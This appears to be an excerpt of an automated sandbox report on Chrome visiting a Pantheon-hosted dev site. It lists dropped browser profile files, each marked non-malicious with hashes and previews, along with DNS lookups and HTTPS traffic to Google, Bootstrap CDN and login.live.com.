themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\c81ecc48-8c65-46a7-8dba-4254ba88d501.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19185

Entropy (8bit): 5.569842513426494

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUUHGMxld4eCV84p:1LlXa1kXqKf/pUZNCgVLH2HfjrUYGMSB

MD5: 8C71D302C4CE74322F1FAECDA8A78E10

SHA1: A45A6D99FB23A0AFFDDAC0DF9538A4952A2856AC

SHA-256: 2A0761880523C76DAD1907730EAED1794F7E298A50A6B2F75870C2BB8CD1CC7A

SHA-512: 40750EAA2BCA0A4D3685EA22F344F0319E65F8BD73604A3F9A2CE6EB686800241DFBEE29EC580F91DFFFEF4FBD16C42A78CE9AA389A980800E0F02B17BBA71
E0

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\c81ecc48-8c65-46a7-8dba-4254ba88d501.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Reputation: low

Preview:
MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENTMP (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Reputation: low

Preview:
MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 139

Entropy (8bit): 4.429861554920119

Encrypted: false

SSDEEP: 3:tUKMUscRzF3AgZmwv2xUscRZSFUrs01V8txUscRZduEU5s01WGv:ma7pZZmwP7fVv7jgbtv

MD5: 6C173D559CD2EB8CC93B6E09B347460E

SHA1: 03862C3C8934946FC61F67D3483490187B6DA590
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SHA-256: 24BB01CFBFCFCD1955914E4EF851E26C00A8BB00D7140A67F9582C75E550E77B

SHA-512: 63E7A4CD65922EBB7FA733DC651B48DD38815B271459A323093D611C60160DBAF86F06775FDF7D20ABCD0B676FCF40D5AF343174292161C143E883AD7D1C43BD

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:46.726 1a10 Recovering log #3.2021/11/25-17:27:47.277 1a10 Delete type=0 #3.2021/11/25-17:27:47.278 1a10 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old21 (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 139

Entropy (8bit): 4.429861554920119

Encrypted: false

SSDEEP: 3:tUKMUscRzF3AgZmwv2xUscRZSFUrs01V8txUscRZduEU5s01WGv:ma7pZZmwP7fVv7jgbtv

MD5: 6C173D559CD2EB8CC93B6E09B347460E

SHA1: 03862C3C8934946FC61F67D3483490187B6DA590

SHA-256: 24BB01CFBFCFCD1955914E4EF851E26C00A8BB00D7140A67F9582C75E550E77B

SHA-512: 63E7A4CD65922EBB7FA733DC651B48DD38815B271459A323093D611C60160DBAF86F06775FDF7D20ABCD0B676FCF40D5AF343174292161C143E883AD7D1C43BD

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:46.726 1a10 Recovering log #3.2021/11/25-17:27:47.277 1a10 Delete type=0 #3.2021/11/25-17:27:47.278 1a10 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MPEG-4 LOAS

Category: dropped

Size (bytes): 50

Entropy (8bit): 5.028758439731456

Encrypted: false

SSDEEP: 3:Ukk/vxQRDKIVmt+8jzn:oO7t8n

MD5: 031D6D1E28FE41A9BDCBD8A21DA92DF1

SHA1: 38CEE81CB035A60A23D6E045E5D72116F2A58683

SHA-256: B51BC53F3C43A5B800A723623C4E56A836367D6E2787C57D71184DF5D24151DA

SHA-512: E994CD3A8EE3E3CF6304C33DF5B7D6CC8207E0C08D568925AFA9D46D42F6F1A5BDD7261F0FD1FCDF4DF1A173EF4E159EE1DE8125E54EFEE488A1220CE85AF9
04

Malicious: false

Reputation: low

Preview:
V........leveldb.BytewiseComparator...#...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e78cdd0b-6d99-486b-bbd2-cae97e61f523.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5822

Entropy (8bit): 5.177587839155974

Encrypted: false

SSDEEP: 96:nELBM9wRlIKIp5k0JCKL87kD1scbOTlVuHn:nELW90I3h4K0kDKU

MD5: 6355AE98A93CA0A4459637E22250A46A

SHA1: B6FC27C85B439265C9EC625F7F3B6660E13FAE4A

SHA-256: A0BB5B8DA1978896558B8982259C1B114C0EAB26AA05BE00CE062CF0EC14DE61

SHA-512: 787C9D5FEAF5C8535BB6123AA3383B221D6EBFC315C70A31541D057A131E50EF91B8B3C2C73FB67272CD20293A604304DE072661ED4355BFC3567ECB01BCA280

Malicious: false

Reputation: low

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13282331262392320","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\eee6b7e3-95d2-406f-a62e-6e956691c7d4.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators
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Static File Info

No static file info

Network Port Distribution

Category: modified

Size (bytes): 2118

Entropy (8bit): 4.869734293992785

Encrypted: false

SSDEEP: 48:Y2zM3qK6qDHGXCtwWsFGSRLsFdRsFZSsFF5sFPyKsFdMHvYhbw:JzMaKxDHGXCObzadaZHFiPAdGAhM

MD5: D424F62675E73C8B494EC971215CB22C

SHA1: 83E6D8AF219D031F6CB0F004FE96B2286587F0B5

SHA-256: A9D6427E69CA8BB42279BB1D1EDE542CB9300941486FD739392FFB82835C3092

SHA-512: 0CF89209CD7D52A0737861C4CAEF96D8A4C3AE74E2D262634F0E52CF0020720384B8AF41F31020A5032EB418ABE9A0D07045174B5D3C0AABEFCCD91420BED94
8

Malicious: false

Reputation: low

Preview:
{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","su
pports_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isol
ation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.go
ogle.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},
{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13284923263809941","port":443,"
protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\eee6b7e3-95d2-406f-a62e-6e956691c7d4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\fa98edf8-57b8-4a03-af17-bc9d5d60f420.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3473

Entropy (8bit): 4.884843136744451

Encrypted: false

SSDEEP: 96:6FGX0G70GhIGpyGzRDYLiEHYDBKGzUGaCGjHGESHG/OG6mhM:6Fe0i0sIIyGzRDYLiEHYDBKSUpCQHrSP

MD5: 494384A177157C36E9017D1FFB39F0BF

SHA1: CE5D9754A70CD84CEE77C9180DB92C69715BE105

SHA-256: 07CF0A5189FAD30A4AA721F4F6DA1B15100991115833EACFA1E2DC84A1B54337

SHA-512: BFB80EEC0C0B5D9E487047703BE49826321A4D249422E0C81E978E6C8A310F41C7B4B8F849229BA87484FDF4831DD6A98FF994D0FDA5CE3D341CE615C15F2F1C

Malicious: false

Reputation: low

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324851660
7334226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":[{"adverti
sed_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstatic.com","s
upports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{
"srtt":23359},"server":"https://apis.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

TCP Packets

UDP Packets

DNS Queries
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Nov 25, 2021 17:27:44.066654921 CET 192.168.2.4 8.8.8.8 0x60ae Standard query 
(0)

dev-ce563d
81711943.p
antheonsite.io

A (IP address) IN (0x0001)

Nov 25, 2021 17:27:44.077052116 CET 192.168.2.4 8.8.8.8 0x469a Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

Nov 25, 2021 17:27:44.080238104 CET 192.168.2.4 8.8.8.8 0xa389 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Nov 25, 2021 17:27:44.554330111 CET 192.168.2.4 8.8.8.8 0x7953 Standard query 
(0)

maxcdn.boo
tstrapcdn.com

A (IP address) IN (0x0001)

Nov 25, 2021 17:27:44.556564093 CET 192.168.2.4 8.8.8.8 0x60e1 Standard query 
(0)

stackpath.
bootstrapc
dn.com

A (IP address) IN (0x0001)

Nov 25, 2021 17:27:44.981607914 CET 192.168.2.4 8.8.8.8 0x7c7b Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Nov 25, 2021 17:27:45.787337065 CET 192.168.2.4 8.8.8.8 0xd5 Standard query 
(0)

dev-ce563d
81711943.p
antheonsite.io

A (IP address) IN (0x0001)

Nov 25, 2021 17:27:48.467231989 CET 192.168.2.4 8.8.8.8 0x153f Standard query 
(0)

clients2.g
oogleuserc
ontent.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 25, 2021 
17:27:44.095773935 
CET

8.8.8.8 192.168.2.4 0xa389 No error (0) accounts.g
oogle.com

172.217.168.45 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.101253033 
CET

8.8.8.8 192.168.2.4 0x60ae No error (0) dev-ce563d
81711943.p
antheonsite.io

fe253.edge.pantheon.io CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
17:27:44.101253033 
CET

8.8.8.8 192.168.2.4 0x60ae No error (0) fe253.edge
.pantheon.io

23.185.0.253 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.115011930 
CET

8.8.8.8 192.168.2.4 0x469a No error (0) clients2.g
oogle.com

clients.l.google.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
17:27:44.115011930 
CET

8.8.8.8 192.168.2.4 0x469a No error (0) clients.l.
google.com

142.250.203.110 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.597698927 
CET

8.8.8.8 192.168.2.4 0x7953 No error (0) maxcdn.boo
tstrapcdn.com

104.18.11.207 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.597698927 
CET

8.8.8.8 192.168.2.4 0x7953 No error (0) maxcdn.boo
tstrapcdn.com

104.18.10.207 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.603001118 
CET

8.8.8.8 192.168.2.4 0x60e1 No error (0) stackpath.
bootstrapc
dn.com

104.18.11.207 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.603001118 
CET

8.8.8.8 192.168.2.4 0x60e1 No error (0) stackpath.
bootstrapc
dn.com

104.18.10.207 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:44.996951103 
CET

8.8.8.8 192.168.2.4 0x7c7b No error (0) www.google
.com

172.217.168.68 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:45.852657080 
CET

8.8.8.8 192.168.2.4 0xd5 No error (0) dev-ce563d
81711943.p
antheonsite.io

fe253.edge.pantheon.io CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
17:27:45.852657080 
CET

8.8.8.8 192.168.2.4 0xd5 No error (0) fe253.edge
.pantheon.io

23.185.0.253 A (IP address) IN (0x0001)

Nov 25, 2021 
17:27:48.504059076 
CET

8.8.8.8 192.168.2.4 0x153f No error (0) clients2.g
oogleuserc
ontent.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
17:27:48.504059076 
CET

8.8.8.8 192.168.2.4 0x153f No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.203.97 A (IP address) IN (0x0001)

DNS Answers

HTTP Request Dependency Graph
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login.live.com

            
settings-win.data.microsoft.com

            
arc.msn.com

            
dev-ce563d81711943.pantheonsite.io

            
clients2.google.com

            
accounts.google.com

            
https:

maxcdn.bootstrapcdn.com
stackpath.bootstrapcdn.com
www.google.com

            
clients2.googleusercontent.com

            
displaycatalog.mp.microsoft.com

            
ris.api.iris.microsoft.com

            
img-prod-cms-rt-microsoft-com.akamaized.net

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49725 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:31 UTC 0 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 3592
Host: login.live.com

2021-11-25 16:27:31 UTC 0 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:31 UTC 3 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:31 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 3799afe2-ff92-4229-8779-151958a63713
PPServer: PPV: 30 H: BL02PFD33511E20 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:30 GMT
Connection: close
Content-Length: 11297

HTTPS Proxied Packets
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2021-11-25 16:27:31 UTC 4 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49728 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:31 UTC 15 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4683
Host: login.live.com

2021-11-25 16:27:31 UTC 15 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:31 UTC 30 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:31 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: bc3d289e-39d0-44aa-9c53-a50cd968e704
PPServer: PPV: 30 H: BL02EPF0000187B V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:30 GMT
Connection: close
Content-Length: 10109

2021-11-25 16:27:31 UTC 31 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.4 49736 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:33 UTC 130 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com
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2021-11-25 16:27:33 UTC 131 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:33 UTC 135 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:33 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 6249f27f-7d55-461e-afdd-3a5e1e8a54ae
PPServer: PPV: 30 H: BL02PFC128C4CBD V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
